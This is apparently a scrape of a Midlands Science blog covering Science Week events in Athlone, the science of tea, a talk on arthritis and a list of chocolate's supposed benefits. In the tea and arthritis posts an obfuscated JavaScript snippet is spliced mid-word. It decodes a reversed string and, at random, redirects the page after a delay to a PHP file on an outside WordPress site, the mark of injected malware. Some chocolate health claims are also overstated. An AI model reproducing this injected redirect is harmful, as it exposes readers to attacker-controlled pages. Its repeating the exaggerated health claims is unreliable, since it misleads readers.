Athlone will be hive of activity during Science Week

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After two years of online delivery, the Midlands Science Festival returns this year all across the midlands, with a range of activities for all age groups. Running from November 13th to November 20th, highlights of the Midlands Science Festival include a presentation exploring the science of resilience with psychologist Dr Andrew Magee in the Radisson Blu Hotel Athlone, a swim in Lough Ree and an adrenaline inducing insight into Formula One Racing.

Dr Andrew Magee is no stranger to the Midlands Science Festival. His virtual lecture in 2020 proved to be one of the most popular online events in the festival that year. In just a few hours his presentation was viewed by 7,500 individuals!! His online lecture offered practical, wise and compassionate advice on managing stress and resilience, all based on science from the field of psychology.

Midlands Science is now delighted to offer the opportunity to attend an in-person event with Dr Magee where he will, with Dr Craig Slattery of UCD, explore what science tells us about stress and resilience. He will provide some advice and tips, based on science, on how to better manage stress and build our own resilience.

“As a society, we have shown our resilience and ability to withstand adversity, bouncing back from difficult challenges we face in our daily lives, particularly so over the past few years.” commented Jackie Gorman, CEO Midlands Science. “The theme of this year’s Science Week is infinite possibilities, and we have a wide variety of activities for all ages. We are encouraging parents to get their children involved in the numerous events over the week. The younger generation are the future and science is an important part of a shared better future – helping us to understand our world, inspiring new opportunities, and providing potential solutions” Stressed Jackie Gorman, CEO Midlands Science.

For the more energetic types, you are welcome to join Midlands Science for a Swim Ireland supervised dip and swim at Lough Ree, Coosan Point, Athlone. Following your dip or swim [no pressure, it’s up to you how far you want to go], hot food and refreshments will be served in the Lough Ree Inn and an interview will take place with Catherine Kelly, author of “Blue Spaces”, the best-selling book which explores why we love swimming and water so much.

Midlands Science will be exploring the science of golf with Dr Eoghan O’Neill, a sports psychologist who specialises in golf.  This event takes place in Athlone Golf Club on Monday the 14th of November. Those looking for something more exciting can join Midlands Science for a unique online event with Dr Barry Fitzgerald exploring the science of Formula One racing!

There’s also plenty more on offer including an astronomy night in Lough Boora Parklands, an event exploring the science of beer at Dead Centre brewing and an online event with Diabetes Ireland. The Midlands Science Festival is supported by Science Foundation Ireland, through the Discover Programme. Midlands Science is supported by the Ireland Funds, the Naughton Foundation, the Medtronic Foundation and a range of other corporate and philanthropic supporters. Booking for all events is now open and all details available here.

 

Brewing Up – The Science of Tea!

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It’s one of the world’s most popular drinks, from a mug of tea to Earl Grey in fine china to a batch of Kombucha, everyone has a favourite tea. This fascinating drink has a great history and lots of science to consider. Tea is produced from the leaves of the plant Camellia sinensis and scientists have been studying the effect tea has on mood and cognition. A paper in Nature [outlook] in 2019 explained how researchers had found that tea drinking lowers the levels of cortisol, the stress hormone. Research is trying to establish what are the main compounds that give tea its benefits and if these compounds work in isolation or collectively.

Tea catechins — antioxidants such as epigallocatechin gallate— account for up to 42% of the dry weight of brewed green tea, and the amino acid L-theanine makes up around 3%. Epigallocatechin gallate is thought to make people feel calmer and improve memory and attention when consumed on its own. L-theanine is found to have a similar effect when consumed in combination with caffeine. Up to 5% of the dry weight of green tea is caffeine, which is known to improve mood, alertness and cognition. This means that tea is a bit of a para $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dox as it makes up feel alert and calm at the same time.

And we have to wonder is there a science to making the perfect cup of tea? We are sure there is and those who turn off the kettle just before it boils need to listen up! Alan Mackie of Leeds University’s School of Food Science and Nutrition has looked at this contentious issue of making the perfect cup of tea. First of all, you pour the milk as he found the proteins in the milk lowers the mineral content of the water and allows the flavour to be locked in. You also need to know how hard your water. How hard your water is determined by the amount of calcium and magnesium in it. The majority of water in Ireland is hard. Alan Mackie’s research found that flavour in tea is produced by the tannins and it’s more difficult with hard water for these compounds to develop fully. Also, if you like steeping the tea bag and removing it and then adding milk, you need to stop. Doing it this way means that the tannins turn into solids before flavours can develop. So if you want the perfect cuppa, it’s milk first, softened water and lots of practice. It turns out there’s a lot to know about tea and a great resource on all things tea is The Tea Book by Linda Gaylard, where you can learn about all types of tea and how to prepare them.

 

I Like to Move It!

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‘I Like to Move it’ is a unique online event exploring the science of joint health with Angela Camon, advanced rheumatology nurse practitioner and Dr Craig Slattery of UCD. This event will explore everything from the science of arthritis to the science of pain management and is part of national Science Week, supported by Science Foundation Ireland.

CEO of Midlands Science, Jackie Gorman commented, ‘According to statistics published by Arthritis Ireland, one million people in Ireland, including many children, are living with arthritis. There is therefore a very strong chance that we all personally know other people who are suffering with this condition. Unfortunately, there is so much more to arthritis than just the actual joint pain itself. People of all ages are also struggling with managing the associated fatigue, stiffness, inflammation and the effects that joint pain can have on their mental health.’

Society is also un $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doubtedly affected by arthritis, which is often classed as an invisible disease and is the cause of many people being unable to attend work due to ongoing pain issues. However, with the right quality of care, advice, understanding and in some cases, lifestyle changes, many people are more in control of the effects of arthritis and can still lead full lives.

Jackie Gorman continued, ‘Everyday tasks can become frustratingly difficult for people with arthritis. We hope that this event, which will explore ways to better manage your joint health will help people who are living with pain and we look forward to hearing from advanced rheumatology nurse practitioner, Angela Camon, on how people can take an active role in their pain management for a better day to day quality of life.’

We Love Chocolate…..

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chco event 2….So you can imagine how pleased we were when we recently heard that it can actually be good for you! Check out some of the best reasons we can find not to feel guilty about eating one of our favourite foods!

  • The amount of caffeine in chocolate is quite low compared to coffee and other things we sometimes claim boost one’s energy.
  • Chocolate is a natural painkiller.
  • Dark chocolate aids the “good” bacteria in your body.
  • Eating chocolate can help prevent tooth decay.
  • Chocolate’s scent increases the amount of relaxation-inducing brainwaves.
  • Regularly eating dark chocolate reduces ones risk of heart disease.
  • Eating dark chocolate can help protect your skin from being damaged by the sun.
  • The anti-oxidants in chocolate will keep you looking young

…And one of our favourite Irish scientists/friend to the Midlands Science Festival, Professor Luke O’ Neill, recently informed us that its just a myth that chocolate causes acne, so better again! Everything in moderation of course, but for now after a hard day’s work ….we are happy to tuck in!